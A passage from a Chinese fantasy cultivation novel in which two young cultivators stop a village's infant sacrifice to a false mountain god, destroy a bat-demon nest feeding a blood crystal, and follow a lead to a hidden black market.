谢常安二人不明就里,老伯却像是已经知道发生什么了,站起身来,叹了口气:“唉,造孽啊……”
只见门外不远处,方才几乎空无一人的街上此时已经围了一圈人,人群当中一名妇人正死死抱住怀中尚在襁褓中的婴儿,婴儿在母亲的怀中嚎啕大哭。
她身旁一个男人一脸苦像——应该是她丈夫,正拉扯着劝她认命,说些什么“反正是女孩,没了就没了吧,没办法,都是她的命。”云云。
这是在干什么?认什么命?他们要把孩子弄去哪?
见此情状,谢常安无法坐视不理,没等老伯拦下,她拍案而起拦住人群,问道:“诸位这是在做什么?”
争吵哭喊声被打断,人群中一人问道:“你是什么人?”
谢常安挤进人群,挡在妇人身前,义正言辞道:“我是天枢院的仙师,你们这是做什么?”
众人见她衣着破烂,均是一脸怀疑——堂堂仙师怎么会是这幅寒酸的打扮?哪里来的路人,不会是路过骗路费的吧?
“就你?仙师?”
一时间众人七嘴八舌,有拱火造谣的,有看热闹不嫌事儿大的,也有看见生面孔好奇的……
妇人见大家议论纷纷,越说越难听,小声道:“你们别说啦……”
可哪有人会听她的,一片混乱中,沐念秋已穿过人群,站在谢常安身旁。
“诶,你又是谁?”
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>周围人群见一下子来了一男一女两名生面孔——虽说穿着打扮过分朴素,可身姿面貌却十分出众,一时间好奇心大涨,议论声不断。
见接二连三地有人为妇人出头,人群里跳出一个满脸麻子的青年,不客气地上蹿下跳道:“你又是哪根葱?你是她姘头吗,就来替她出头?”
沐念秋微微抬手,一道火舌如黄龙出海,喷涌而出,直冲至麻子脸面门,那麻子脸青年哪里见过这阵仗?顿时大惊失色,方才的气焰顿时全无,险些以为自己小命不保,跌坐在地。
沐念秋本无伤人之心,火舌在一瞬间消失不见,众人皆是哑口无言,四周静得落针可闻,一时间四周议论声停止,更有胆小的直接扑通跪倒在地,连连叩拜,高呼仙师。
这时,方才那老伯却穿过人群站了出来——这老伯竟是这村子的村长。
他看了看谢常安沐念秋二人,招呼众人站起来,才终于解释道:“二位仙师,我们村每月十五祭山神,需一名未满月的婴儿,每家轮流,这次轮到他家的。”
谢常安不解:“什么妖邪,要生人活祭?”
一听她言语间对山神不敬,终于有人忍不住开口了,“你……您话可不能乱说,周围村子都出事了,就我们村平平安安,这都多亏了山神保佑!”
一旁又一名老头儿反驳道:“哼,愚昧!什么狗屁山神?我看就是妖邪害人不浅!”
那人还未及开口反驳,人群中间妇人身旁的男人先急了,冲着那老头骂道:“老不死的,什么狗屁妖邪!你要是有本事降妖,谁还月月祭山神?还不都怪你,儿子媳妇领着孩子跑了,要不然这次也轮不到我家,我看是你害我!”
“你这疯狗怎么乱咬人!刚才没本事护着你媳妇孩子,现在倒是硬气起来了?”
“老子……”
“够了!都闭嘴!”
村长大喝一声,制止住众人愈演愈烈的争吵,无视众人,转身看向谢常安二人,“不知二位仙师可愿暂留几日,再过三日就是祭山神的日子,二位一路辛苦,留下来权当是歇歇脚。”
村长说完,人群中又一阵窃窃私语的骚动,“凭什么轮到他家就请仙师!那我们剩下的人呢?万一触怒了山神,大家跟着一起倒霉,到时候谁负责?”
“是啊,这年头有点儿小把戏就敢自称仙师了,之前又不是没人来过,不照样没用么……”
抱孩子妇人忙道:“二位仙师别生气,求二位救救我女儿吧,我……我给你们磕头!”说着就要跪下。
“你这女人懂什么!想害死我们大家伙吗?”人群中有人骂道。
“你怎么知道没用,你安的什么心,拦着仙师救大家?就因为你家已经祭过山神了,就要拉着别人一起遭殃吗?”
“你什么意思……”
一片混乱,村长又大喝一声,一点儿看不出这个年纪该有的老态龙钟,止住周围七嘴八舌互相攀咬。
“够了!都别吵了!有人能挺身而出是好事,你们自己没本事解决问题,就别拦着别人出力!”
“村长,可……”
“没有可是!二位仙师今日也累了,都散了吧。”
19. 图腾
三日后,村外五里,远处可见连绵起伏的高山——据说这山名叫“葛仙山”,山上有一处“望仙谷”,传说是五百年前一位云游的仙翁到此,为降伏妖兽以身作剑劈开山谷,后仙翁隐居在谷中,化为山神,庇护一方。
俗话说“靠山吃山靠水吃水”,村中人世代守着葛仙山,村子也因此命名为“葛仙村”。
临近正午,山脚下摆着一张祭祀用的供桌,一名女婴正躺在供桌上,好奇地睁着大眼睛看向四周山川起伏,风光秀美,浑然不知自己正处在什么样的危险中。
二人答应了村民的请求,已提前在村子周围布上一圈防护结界,此时正和几名身强体壮的村民埋伏在侧,如果遇到危险,能第一时间确保孩子的安全。
“沐师兄,一会儿你可得保护我,我打架不行的。”谢常安眨巴眨巴眼睛,开起了玩笑。
“谢师妹真是谦虚了,师妹向来天不怕地不怕,什么时候用我保护了?”沐念秋见她又没个正行,像是要满嘴跑火车,十分无奈。
“嘿嘿,知我者沐师兄也——”谢常安头回听他叫自己“师妹”,着实觉得新鲜有趣,忍不住逗弄道:“那怎么每次遇到危险,师兄都冲到我前面呀?”
两人正有一搭没一搭的说话,忽的天色大变,晴空万里转瞬阴云密布。
“小心,要来了!”
空中铺天盖地飞来一群蝙蝠,振翅声轰鸣,蝙蝠背后生着红色妖纹,数量庞大的一群蝙蝠遮云蔽日地汇聚在一起,盘旋在空中,组成一幅奇异妖冶的画卷。
谢常安第一时间冲上前架起一个护盾,护住供桌上哇哇大哭的婴孩,沐念秋紧跟其后,左右开弓,一阵灵力暴击,转瞬击落数十只蝙蝠。其余村民也纷纷举起火把,击退蝙蝠。
蝙蝠群见势不妙,仿佛被激怒一般,瞬间转变方向往村庄飞去。沐念秋长臂一捞从谢常安怀里接过孩子,一行人跟着蝙蝠群往村庄跑去。
赶到时,庞大的蝙蝠群正盘旋在村庄上空,一下一下地猛烈撞击着防护结界,村子里的村民多是老幼妇孺,哪里见过这种地狱般的情景,都十分害怕,更有慌张的四散奔逃,绝望大哭。
那蝙蝠群更是发疯一般猛力撞击着阻拦它们的结界,没撞几下,结界终于禁不住破裂开来,大批蝙蝠涌进村子,扑向一个个新鲜的血肉。
地上横七竖八躺着村民的尸体,到处都是人群发出的尖叫,一时间周遭如同人间炼狱。见此情状,沐念秋赶忙将怀中大哭的婴孩递给谢常安,回身拔出腰间佩剑,剑光凌厉,直指天际,成片蝙蝠尸体坠落在地。
一些顽强的村民也拿起手中的火把,护住手无寸铁的妇孺,驱散剩余的蝙蝠。不多时,蝙蝠群所剩无几,剩下的一小部分纷纷逃开,四散飞走。
“这是……咱们赢啦?”
“太好了!妖怪被赶走了!”
乌云散去,劫后余生的众人在村长的指挥下,清点伤亡人数,收拾残局,将街上不幸遇难者的遗体抬走,又把受伤的村民纷纷安顿好,谢常安把女婴毫发无伤地交还给她的母亲。
“没想到这妖物就是一直以来我们供奉的山神,这真是……”
“从此再不用献祭孩子了……”
日落西山,村民们收拾完白天的战场,解决了困扰许久的大问题,都放松下来,纷纷热情地招呼起了谢常安沐念秋二人。
“二位恩公留下吃顿便饭,小住几天吧,可得让我们好好感谢感谢!”
那名女婴的母亲更是千恩万谢,看到自己的孩子安然无恙,脸上难掩喜色,说什么也要请他们留下吃饭。
谢常安却有点心不在焉,“多谢各位的美意,便饭先不必了,我们打算进山一趟,还需要一样东西——”
“还要进山?这是为什么,妖怪不是已经被赶跑了吗?”
“难道它们还会回来?”
“那可怎么办啊!”
“诸位莫急,妖怪不会再来。”沐念秋解释道:“这妖物行动目的明确,先是直冲祭祀台,见祭祀台有埋伏,就又迅速地来村里——仿佛是在‘报复’对山神不敬的人,最后见势不妙又直接逃走,实在不像是巧合,十分古怪,倒像是……背后有什么人在操控一般,我担心事情恐怕没那么简单。”
“啊,这可如何是好啊恩公!”
“是啊,二位仙师,你们一走,我们岂不是又要遭殃了吗?”
“仙师救命啊仙师!”众人七嘴八舌,跪倒一片。
“无妨!”谢常安扶起众人。
沐念秋点了点头:“诸位放心,待我二人进山一探究竟,一定彻彻底底平息妖患。”
.
谢绝了众人的担忧和劝阻,在村长的安排下,次日一早,二人沿着蝙蝠逃走时留下的气息又来到了葛仙山。
山中多瘴气,村子里派出一名年轻的小伙子作为向导,和他们一同进山。
小伙儿人称小五,勤快机灵,父母早亡,平日里跟村里的赤脚大夫一起住,大夫年纪大了,进山采药这种活一般就交给小五,故而小五经常进山,熟悉地形,知道哪里危险哪里安全。
考虑到这次进山不同于往日,小五毕竟是肉体凡胎,到了进山口,谢常安还是忍不住嘱咐道:“小五,你也看到了昨天的情况,这次进山也许会遇到很可怕的危险,我们都很担心你……不然你就送到这里,就此回去吧!”
“没事儿,我不怕危险,我相信二位仙师不会丢下我不管的——我机灵,遇到危险一定先跑,不给你们添麻烦!再说了我本来就是来给你们带路的,这连山都还没进呢,我怎么能自己先回去呢?这山里弯弯绕绕,不是我吹,没我你们真不行,您二位就放心吧,咱们一起进山,肯定没问题的!”小五却摆摆手,大大咧咧道。
听他这样说,谢常安也觉有理,不再劝阻,三人身上皆提前带着村里特制的锦囊,锦囊里装有一种村里人世代相传的特殊草药,可避瘴气。
山路果然十分曲折,三人走出一炷香时间,行至一处幽静安全的空地,趁着小五去方便,谢常安突然开口道。
“沐师兄,这事儿耽误你时间了,还十分危险,是我太任性,非要多管闲事,连累你辛苦一趟,对不起啊……”
沐念秋没想到她
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会和自己说这些,眉目柔和下来,沉声道:“无妨,不怪你,我本就想管——其实事情管到打退蝙蝠已经足够仁至义尽,你为什么还进山?”
“我只是觉得……如果是师父,一定也会这么做的——况且这蝙蝠,你不觉得很像……”
沐念秋心照不宣地接上了她的后半句话:“咱们演武围猎遇到的血玉蜘蛛。”
“嗯,不查下去我放心不下。”
“二位仙师,你们在说什么呢?”小五解决了五谷轮回,又精神抖擞地蹦出来,兴冲冲地问道。
谢常安笑着摇摇头:“没什么,你怕不怕蝙蝠?我听说蝙蝠还是一味药材呢,是真的吗?”
小五跟着村里的大夫长大,人又活泼,一说起药材,话匣子一下子打开了,叽叽咕咕地跟谢常安二人说了不少,又是特殊的药材,又是神奇的偏方……三人一路上沿着谢常安探知出的妖气方位,在小五的带领下,又走出两炷香时间,穿过一片密林瘴气,终于来到了一处洞口,隔着八丈远也能感受到洞中妖气冲天。
谢常安:“小五,咱们找对地方了,里面危险,你别进去了,就在洞口接应吧。”
小五:“诶好嘞,那我就在这儿洞口附近等着二位,你们可千万千万要小心啊!我哪儿也不去,等你们平安回来!”
安顿好小五,谢常安并着沐念秋走进洞中。
洞中漆黑,黑暗中仿佛有无数双眼睛在盯着他们。沐念秋打了个响指,托起一团掌心焰,照亮了眼前方寸之地。
越往里走,洞口越狭窄,洞中十分潮湿阴冷,四壁湿漉漉的一片,头顶滴滴答答滴下来一些不明的粘液。
“噫,什么东西,好恶心。”
谢常安摸到一把滴下来的粘液,随手往一旁墙上抹去。
不想墙壁上渗出的竟不是水汽,她收回手,往火焰下一照,竟是一手的暗红——这墙壁却是一直在往外渗出鲜血!
“你的手……”两人停下脚步,沐念秋就要拉过她的手检查。
“没事没事!”谢常安浑不在意,粘液和血液没毒,只是看着吓人,她随手把血抹在衣摆上,借着焰火走近墙壁仔细观察,却发现——墙壁上的血液并不是随意渗出的,而是沿着墙上的脉络,细密弯曲,勾勒成一副巨大的图案,仿佛是一个瑰丽的图腾,诡异而壮观。
“这是什么……”谢常安瞪大了眼睛。
沐念秋:“这好像是一个……阵法,我在一本地方志上见过,苗疆有些养五毒的仪式,和这个图腾的风格很相似。我们现在沿着这个阵法的走势,应该能找到阵眼。”
谢常安:“唔……没想到你知道的还怪多的嘞!既然找对了地方,那咱们快走吧!”
奇怪图腾的线条越来越密,鲜血绘制而成的繁复线条沿着墙壁的凹槽流动汇聚,狭窄的通道,凹凸不平的岩石,带给人喘不过气的压迫感。谢常安紧跟着沐念秋,穿过几条弯弯绕绕的洞口,黑暗中寂静的可怕,只有两人的脚步声回荡在狭长的洞穴里。
忽的前方开阔起来,谢常安正欲稍松口气,身前沐念秋却停下了脚步,警惕起来。
20. 山神
只见前方黑暗中亮起一片红光,星星点点此起彼伏,接着凝滞的空气流动起来,头顶风声划过,刺耳的尖叫随之到来,方才的寂静一下子被打破,谢常安甚至来不及惊呼出声,霎那间无数蝙蝠蜂拥而至,挤满了二人所在的甬道,转瞬扑向二人,仿佛一群饥肠辘辘的蚂蟥遇见新鲜的血肉。
蝙蝠来势汹汹,一瞬间将二人身边的空间填满,顿时叫人一阵恶寒,谢常安鸡皮疙瘩落了一地,却不想蝙蝠潮来得快去的也快,成群蝙蝠仿佛撞上了什么透明的屏障,贴着二人身侧转瞬又如潮水般退去。
???
这就走啦?
没想到他们运气这么好,这是赶上蝙蝠们辟谷了?还是说今天改吃素了?为什么见到他们绕着走,难道自己已经神功大成,有如此巨大的震慑力,单凭气场就吓走了蝙蝠群吗?
“咦?你腰上好像有什么东西在亮诶?”谢常安指着沐念秋腰上的玉牌问道。
只见沐念秋腰间挂着一枚手指长的白色玉牌,正发出莹莹微光。
谢常安不由得伸手欲够,却后知后觉地发现两人的距离似乎是有点太近了,自己刚才好像是被沐念秋几乎半搂着护在怀中。
沐念秋不动声色地退开一小步,解下腰坠,举起端详,“是沐家的内门弟子名牌。”
谢常安脸颊微红,觉得自己可能是想太多了,咳了一声,接着问:“你们沐家的名牌是有什么驱邪避妖的功效吗?好神奇……上次,你还记不记得上次咱们在湖里,好大的一条鱼,也是这样,你一来,它突然就跑了!”
沐念秋顿了一顿,沉默两秒,不知想起了什么,沉吟道:“嗯,或许是这个原因……”
“仔细想想,可是一般仙门子弟的名牌一般都有点儿护身的功效,你家这个会不会有点儿太强了……”谢常安思索道。
“……前面有东西,先去看看吧。”
蝙蝠群退去后,四周血腥味儿稍淡,窄道尽头连接到一片宽阔的空间,两人不敢大意,缓步向中央走去,整片空间阴冷潮湿,仿佛置身地窖。
这里却不像来时洞中那样漆黑,有微光映射,不靠掌心焰火也可见周围景象,四周地面堆满了一整圈数不清的死人的骸骨,阴气森森,仿若坟场。墙壁上和地上均铺满了密密麻麻的血迹,身处其中仿若置身于血织就的牢笼中,被束缚包围着。
骸骨有新有旧,有男有女,只是唯独不见有小孩儿的骸骨。
这里究竟有什么?这个深山老林里的邪阵在聚集什么?
为什么不见小孩儿的骸骨,那之前那些被抓去的孩子去哪儿了?
谢常安判断这里应该已经到了整片阵法的中心,两人不知是运气好还是胆子大,这一路上都没有遇到什么要命的危险。沿着血痕继续看,周围纹路向中间汇去,像一条条输送养分的血管,走近看尽头是一颗熟悉的晶体状的菱形石头,悬浮在半空中散发着不祥的红光,照亮了这片洞中空地。
“这简直和客栈那颗一模一样。”
谢常安心里浮现出重重疑惑,一切线索仿佛连起来了,却又抓不住关键的一点,她伸手想要净化晶石,忽然间身后地动山摇。
身后地动山摇,头顶岩壁有碎石滚落,自洞穴一角飞出一只巨大的蝙蝠——刚才它一动不动缩在高处的一角,光线昏暗与周围岩壁融为一体,竟是未曾察觉!
沐念秋却似早有防备,不等它靠近,腰间剑已拔出,银光一闪,灵气大涨,只是一把随便买的普通佩剑竟被他使出了气势如虹的魄力,刷刷两下直击巨型蝙蝠要害。
谢常安惊了,忍不住吐槽:“刚才它是在冬眠吗?我记得蝙蝠好像是会冬眠的,这地方冷飕飕的像个冰柜——啊!”
巨型蝙蝠见势不妙,飞起半空,发出一阵刺耳的声波,若是普通人恐怕早就七窍流血灵魂出窍了。
她被震得脑瓜子嗡嗡的,只得暂退半步,捂住耳朵,强定心神。
“我就说一路上太顺了不可思议,原来是在这等着呢!”
已经到了如此地步,所谓狭路相逢勇者胜,谢常安也不甘示弱,捻了个避声诀,护住自己和沐念秋,又飞快使出几记灵力暴击,配合沐念秋,两人左右开弓,经过一阵恶战,巨型蝙蝠终是双拳难敌四手,被镇压在地。
这时,谢常安才来及抬头看清,洞穴顶上,竟密密麻麻的全是凹凸不平的巢穴。
“天哪,咱们这是……这不会是这……”她一阵悚然,语无伦次。
也不知该说两人运气好是不好,居然顺顺利利直接干到妖怪的老巢里来了,还全须全尾地解决了大BOSS,也是福大命大。
“沐念秋,你不觉得这蝙蝠很眼熟么?”
两人走到巨型蝙蝠尸体旁,细细观察,蝙蝠一身暗红色妖纹,与周遭墙上地上的阵法纹路相映成辉,两人不约而同地想起了当日演武场上杀人的“血玉蜘蛛”。
“嗯,这是‘血玉蝙蝠’,以人血为食,是有人故意养在这里的。”
谢常安恍然,“难怪刚才看见这墙上的纹路总有种似曾相识的感觉!”
两人转身看向不远处还在熠熠生辉的红色晶石——这晶石以人血和妖气为源,和两人不久前在客栈枯井里找到的那枚相比颜色稍淡,应该是还未完成。
地上的阵法源源不断地给这枚小小晶石输送能量,竟是有人以毒养毒,在活人聚集的村落附近供养炼化这种邪物。
这得需要多少人命?西南疆域内会只有这一处吗?
谢常安不语,一想及此,她又一次领略到人心之可怖,才发现自己或主动或被动被裹挟在一个比想象中更复杂更可怕的巨大阴谋中——她打了个寒战,自己真的可以查清师父死因真相吗?真的能救下这些连师父都没能救下的数以千计的无辜百姓吗?
一阵无形的巨大压力劈头盖脸地砸了下来,洞穴周围的千万骸骨沉默地望着她,在祈祷?还是在嘲笑?谢常安说不出话来,是迷茫?还是恐惧?她不知道。早被暂时压下的失控感又一次出现,她连自己的命运都操控不了,凭什么自负地认为自己能拯救别人呢?
“已经有些眉目了,咱们一起慢慢查。”沐念秋拍了拍她的肩膀,温声道。
谢常安回过神来,只是如往常一样的一句普通话语,她却感觉心里一酸,往日种种涌上心头,百感交集五味杂陈——还好自己现在不是孤身一人。
她抑制住
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了想哭的冲动,低头飞快眨了眨眼睛,沉声飞快道:“看来是有人刻意在养这些食人血肉的各类妖物,从昨天咱们在村里遇到的蝙蝠群的情况看——这些蝙蝠行动周密,显然是受人控制的。所以是有人用活人喂养妖邪,再控制妖邪炼化一种特殊的能量晶体,再用这种能量晶体控制死人,能使死人行动如常。”
谢常安越说越快,她仿佛感觉不到自己说了什么,只知道自己冷静而抽离地说出了一个很可怕的事实,一点儿没注意到沐念秋正低头静静地看着她,脸上写满了担心。
“还有……村里的那个疯子——恐怕那天晚上他就是撞见隔壁村子的人刚被蝙蝠吸干了血,第二天又被晶体控制‘复活’。难怪这里的伤亡人数与实际上报的相差这么大,恐怕有人一直在动手脚,让早就死了的人伪装成活人,掩人耳目——驻地仙家未必不知,也许串通勾结,也许是……装作不知道。”
谢常安声音微颤,自己究竟是在和谁作斗争,这股势力究竟有多庞大?师父的死一定不是意外,如果这些猜测是真的,那他们的目的是什么?
紧接着,她又想起什么似的,说出最后一句:“不对,那孩子呢?为什么这里没有孩子的……遗骨?如果是这样,那这些蝙蝠为什么要伪装山神抢孩子?”
沐念秋只道:“嗯,你说的都对,咱们先从这里出去好不好?”
谢常安看着他的眼睛,脑中纷纷乱乱地突然想起了自己的师兄,她才隐隐感觉到,当初师兄是不是已经知道了些什么,才做出那些难以理解的反常举动?
“沐师兄,还有一个问题,这伙势力在西南搞出这么大的动静,却还不为人所知,应该是不想被人知道在做这些,为什么‘血玉蜘蛛’还会出现在演武大会众目睽睽之下?这不是自相矛盾吗?”
沐念秋若有所思,却终究没说什么,想要伸手拉起她的手。
她却本能地一缩手,避开了他的手——自己真的应该把沐念秋牵连进来吗?
“我……我手凉……”气氛一顿,她才反应过来刚才自己的反应有点儿生硬,随口乱找了个借口,不敢再看沐念秋。
洞里阴冷潮湿,两人已经进来许久,谢常安说完,真的觉得一阵阵冷气环绕,默默攥了攥拳头,想要攥住一点儿热气。
沐念秋却仿佛没注意到这点儿生硬,仍旧低头自然地拉住她的手,长长的睫毛在脸上打下一片柔和的阴影,温热宽厚的大手轻轻掰开她冰冷的手指,牵着她走出黑暗。
收好晶石离开洞穴,洞外已是夕阳西下——两人竟不知不觉进去这么久了,洞外小五正翘首以盼,早就等得着急了,见他们出来,顿时喜出望外,脸上焦急一扫而空,殷勤地冲上来掏出干粮和水,一阵嘘寒问暖。
三人就着夕阳吃了点儿干粮,又沿着晨时的来路回到村子,见到村中众人,众人在村长的带领下,热烈地迎接了他们回来,沐念秋捡重要的情况解释给了村里人,村民一听妖怪被除,皆是喜气洋洋,放下心来,也有人想起自己去世的亲人,痛哭起来。
寒暄过后,谢常安掏出净化后的晶石,向村长问道:“村长伯伯,这是我们在洞里发现的,你可见过?有人知道这是什么吗?”
21. 醉酒
村长仔细端详了一阵,疑惑地摇摇头:“嘶,不知道……这看着倒是有点眼熟,可怎么也想不起来在哪见过?”
一旁小五凑上来,探头使劲看,随即叫到:“我见过,我见过!”
众人好奇,目光聚向小五。
小五也不怯场,悠悠开口:“那是三年前,我在山里救过一个受重伤的路人,这人当时浑身是血,一条胳膊也断了,伤口处有微量的毒性——这种毒我从没见过,太奇怪了,我当时判断他是中了毒,才断臂自保的,因为看不出中的什么毒,我只能先给他止血,再用黄岑、茯苓……”
见他侃侃而谈,越说越跑偏,有人不耐烦,打断道:“哎呀小五,你又这样,一说起病人就没完没了。”
“是啊,别废话了,说重点,快说重点!”更有性急的催促到。
小五见众人不满,只得挠头继续道:“好好好,知道了知道了!”
“这人不知什么身份,身上还有许多细小的伤口,密密麻麻,不知道经历了什么,我不能见死不救啊,就把他带回来救治。唉,可惜……”说到关键处,小五却摇头叹息。
“可惜什么?”
“可惜三天之后,这人还是断了气,后来我在他身上发现了许多这种结晶,当时我不知道这是什么,直到后来我跟着师傅去外面云游给人治病,才知道——咱这里再往西走,有很多边境走私犯,边境走私犯是什么你们知道吗?就是刀尖上舔血的人!这些人往返人妖两界走私一些妖兽皮毛,妖界灵石,奇花异果诸如此类的东西,偶尔有走私犯投宿附近村子,用点妖界特产换吃的之类的,不伤人,两方一直都相安无事。”
“我想起当年救下的这人,看他衣着打扮,还有身上受的奇怪的伤,才明白这人是名走私犯,不知道出了什么意外才死在外面。”
“唉,这么危险的活计怎么还有这么多人去干?”
“这你就有所不知了,我听说妖界灵力充沛,盛产一些对人界来说很珍贵的东西,黑市上经常是有价无市,但是这个活非常危险,这些走私犯多是一些亡命之徒,有的人有组织,有的人就是单干……”
“人为财死鸟为食亡啊……”
小五讲完,众人七嘴八舌讨论道。
谢常安没想到没想到这事情越查越复杂,竟然可能牵扯到妖界,人族妖族自古势不两立,难道真的是有人从黑市大量走私这种材料?
“那黑市是什么地方?”谢常安问道。
“……那我就不知道了。”小五支支吾吾说不出所以然。
“好酒好菜已经备下了,二位仙师辛苦一天,就不要赶路了,在我们村儿歇歇脚吧!”
“是啊是啊,有什么话明日再说,乡亲们都很感谢二位仙师啊!”
“先吃饭吧!”
“……”沐念秋若有所思。
谢常安却一口答应:“好!那就听诸位的,先吃饭吧,正好我也十分饥饿了呢!是吧,沐师兄?”
乡野之地没什么珍馐美味,可靠山吃山,却也有不一样的风情,许久风餐露宿,囊中羞涩,谢常安吃这些家常便饭吃的十分心满意足。村里向来民风淳朴,酒过三巡,大家心里高兴,说话也变得口无遮拦,畅所欲言了起来。
“仙师,我二麻子敬……敬您一杯,感谢您的大……额,大恩大德!我……我祝您,大富大贵,飞黄腾达,早生贵子!”二麻子举着酒杯摇摇晃晃地非要向沐念秋敬酒。
旧衣都脏了,谢常安沐念秋二人都换上了村民准备的衣服,此时坐在席间,一点儿不见高高在上的仙师风采,全然和村民融为一体。酒过三巡,大家都忍不住放开了,说话间也少了许多分寸。
“你说什么胡话呢!喝多了吧你?”一旁的人使劲拉他,“人家仙师说不定还没成婚呢,祝的哪门子‘早生贵子’啊!”
“你……你打什么岔!我……我跟仙师说话呢!”二麻子打着舌头说,“多子多福。你懂不懂啊?”
“噗……”谢常安暗自捧腹,脑海里浮现出一幅画面——沐念秋穿着一身金碧辉煌的衣服,膝下围着一大圈儿满地乱跑嗷嗷待哺的小孩儿。
沐念秋一脸黑线,还是举起酒杯一饮而尽了。
“啊呀呀,孩子多了有什么好啊,你们这些臭男人就是没见识,只管生不管养!”抱孩子的妇人愤愤不平,拍拍谢常安,义愤填膺道:“小姑娘,别听他们的,想生就生,不想生就不生!”
“噗——”谢常安正埋头干饭,闻言酒都喷了出来,指着自己道:“我?”
“奥——”对面一人恍然大悟,腾地站了起来,不知喝了几分醉,举起酒杯就敬:“我祝二位百年好合,长相厮守!”
“哎呀,你会不会说吉祥话,人家是会法术的仙师,百年哪里够啊!要祝千年、万年好合,永永远远、长长久久,明不明白?”
“我们……不是……”没有人听谢常安说话。
见这边热闹,不明就里的乡亲们纷纷前来道贺。
“太般配了……”
“郎才女貌,天作之合啊!”
“真是一对璧人!”
“干!”
“诶,不是……”眼见大家都误会了,乌泱泱围上来一堆人,谢常安顾不上吃饭了,只想把乌龙解释清楚。可众人都喝的七荤八素,沉浸在万年好合的喜气洋洋中,只当她不好意思,哪里有人仔细听她说话。
“沐念秋?”
沐念秋脸色微红,眼神似乎有些迷离,显然是喝多了。
“……”谢常安无奈了。得,一群醉鬼,还计较什么?
“别喝了,走吧,沐师兄!”再不走孩子名字都快给你想好了!谢常安拉拉他的衣袖,小声道。
“嗯……好。”沐念秋微笑道。
谢常安彻底服了,这个时候还笑得出来,到底在笑什么?平时板着个脸,一听见结婚就这么开心?
真是天下没有白吃的午饭!这一顿饭吃下来,人生大事竟全被安排妥当了!真是进展神速,收获颇丰。
“诸位大哥大姐父老乡亲,天色实在是不早了,我师兄他不胜酒力,忙了一天了,我先带他回去休息!”谢常安拱手道。
“诶,哪个是你师兄?”一个大哥赤着膀子,打着酒嗝嚷嚷道。
“好啦,都别吵啦,仙师累了,快让仙师回去休息吧!”
“仙师……”
扶起沐念秋,村长将二人安排在抱孩子的妇人家中,村里穷,妇人家中又有小孩,房间本就少,顺其自然地给二人安排了一间屋子。
屋子里收拾地利利索索,床铺茶杯都干干净净,能看出是精心打理过,已经是村里能拿出的最好的屋子。
一回生二回熟,再住同一间房,谢常安反倒觉得有些习惯了,她放下沐念秋,给他倒了杯水。
“沐师兄,喝杯水吧!”
沐念秋不答,似乎睡着了。
“酒量这么差……还喝什么酒啊。”谢常安不满地小声嘟囔。
“沐念秋,起来洗把脸再睡吧!”谢常安摇晃他。
沐念秋不满地皱了皱眉,呼吸平缓,仍旧闭眼不语。
“夫君,起床啦!”谢常安不信邪,胡乱叫道。
沐念秋揉了揉眼睛,坐了起来。
“……”
“我是睡着了吗?”他用力揉了揉鼻梁,一脸无辜地看着谢常安。
谢常安无语
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了,什么人呐这是!
“算了,没事了,你接着睡吧!”
“……”
“我睡不着,想出去转转。”沐念秋说着就要从床边站起来。
“什么?!”这么深更半夜,好不容易刚回来又出去,什么毛病?上赶着回去喝自己的喜酒吗?
谢常安一把摁住沐念秋的肩膀:“行了,我的活祖宗,快别折腾了,好不好?”
沐念秋一手一只握住谢常安按在自己肩头的手腕,定定地看着她:“好。”
这是干什么?!谢常安被他看得心慌意乱心猿意马,那眼神如有实质情深义重,山盟海誓也不过如此了。
再一看,沐念秋又闭上了眼睛。
“……”她抽回手腕,胸口泄了一股气一般,和一个醉鬼计较什么?她自顾自地坐到一旁凳子上,气呼呼地把刚给沐念秋倒的一杯水一饮而尽。低声骂道:“说睡就睡,拉磨的驴都没你能睡的……真是服了。”
她擦了把嘴,放下杯子,正欲起身,沐念秋却不知何时,悄无声息地站在她身后,她吓了一跳,这一起险些撞到沐念秋的下巴,匆忙往后一退,失手碰翻了桌上的茶杯。
沐念秋一步上前,轻轻拦腰扶住了她:“小心。”
她先是闻到一股淡淡的酒香,紧接着是若即若离的体温,再抬头是沐念秋一小节白皙的下巴、清晰地下颌线……谢常安倒吸一口气,匆忙一挥手,避开沐念秋的怀抱,扶起打翻的茶杯,“我没事,你怎么又起来了,快点儿睡去吧!”
“你睡床吧,我睡地上。”
“那怎么行?”谢常安避开他的目光,虚张声势道:“都……都这时候了,穷讲究什么呀!有地方睡不错了……”她拍了拍床铺,“这不是挺宽敞的,躺两个人绰绰有余!”
一刻钟后,两人和衣躺在床上。
“……你睡了吗?”谢常安小声道。
沐念秋呼吸平稳,似乎是睡着了。
“沐师兄?”
“……”
“沐念秋!”
“……”
“夫……”
“怎么了?”
“你没睡着啊?”
“还没有。”
“那我叫你你不回答。”
“……”
“沐师兄,你真喝多了吗?”
“没有。”
“喝多的人都说自己没喝多。”
“那你呢?”
“我没怎么喝呀?”
“你吃饱了吗?”
“……当然。”
“唉……”谢常安叹气。
“叹什么气?”
“没什么……想到了烦恼的事情。”
“说来听听?”
“我在想,哪里能找到这个神秘的黑市呢?”本想去黑市转转,可村子里没人知道黑市的门路,好容易查到的线索又中断了。
一旁沐念秋却听着听着皱起了眉,摸了摸怀里,掏出一封黑色请柬。
“咦,这是什么?”借着微弱的烛光,谢常安看到一封黑色的信封。
沐念秋顺势把请柬递给她,捻了个火诀点在指尖,打开信封一看——里面娟秀的字迹,赫然写着寥寥几个字——“本月十五,子时开市,寅时闭市”,下方标注一行——“地点,忘忧湖西北石碑处”。
谢常安顺手接过,翻来覆去没再看出什么名堂,惊奇地问道:“这是哪来的?”
沐念秋:“如归客栈。”
“什么时候拿的?我都不知道,这都能被你找到……”谢常安大吃一惊,“忘忧湖……那湖咱们路过过呀,什么都没有啊……”
“你到底喝多了没有?”
22. 街市
午夜子时,忘忧湖畔,石碑旁,二人。
一道木桥横在漆黑的湖面之上,木质略有破损,看样子有些年头了,桥上稀稀拉拉挂着一排纸糊的红灯笼,破败而诡谲。
“……上次来明明没有这座桥的呀?”
谢常安使劲往前巴望着,想要看清湖对岸通向哪里,可远处一盏一盏的红灯笼越来越小,像是一个个的小光点儿,模模糊糊地闪烁着,照不清看不明。湖面宽的可怕,仿佛看不见尽头,不知通往何处。
“这桥也太长了,为什么会有这么长的桥?这真的合理么,这不会塌的么?好家伙,这是怎么支住的……”
沐念秋一手拉着喋喋不休的谢常安上桥,一手举于额前,双指并拢施了个防护咒,柔和的波光自他手中荡开,先拂过他眉目如画的脸庞,又如一层轻纱自然包裹在两人身上,随即消失不见。
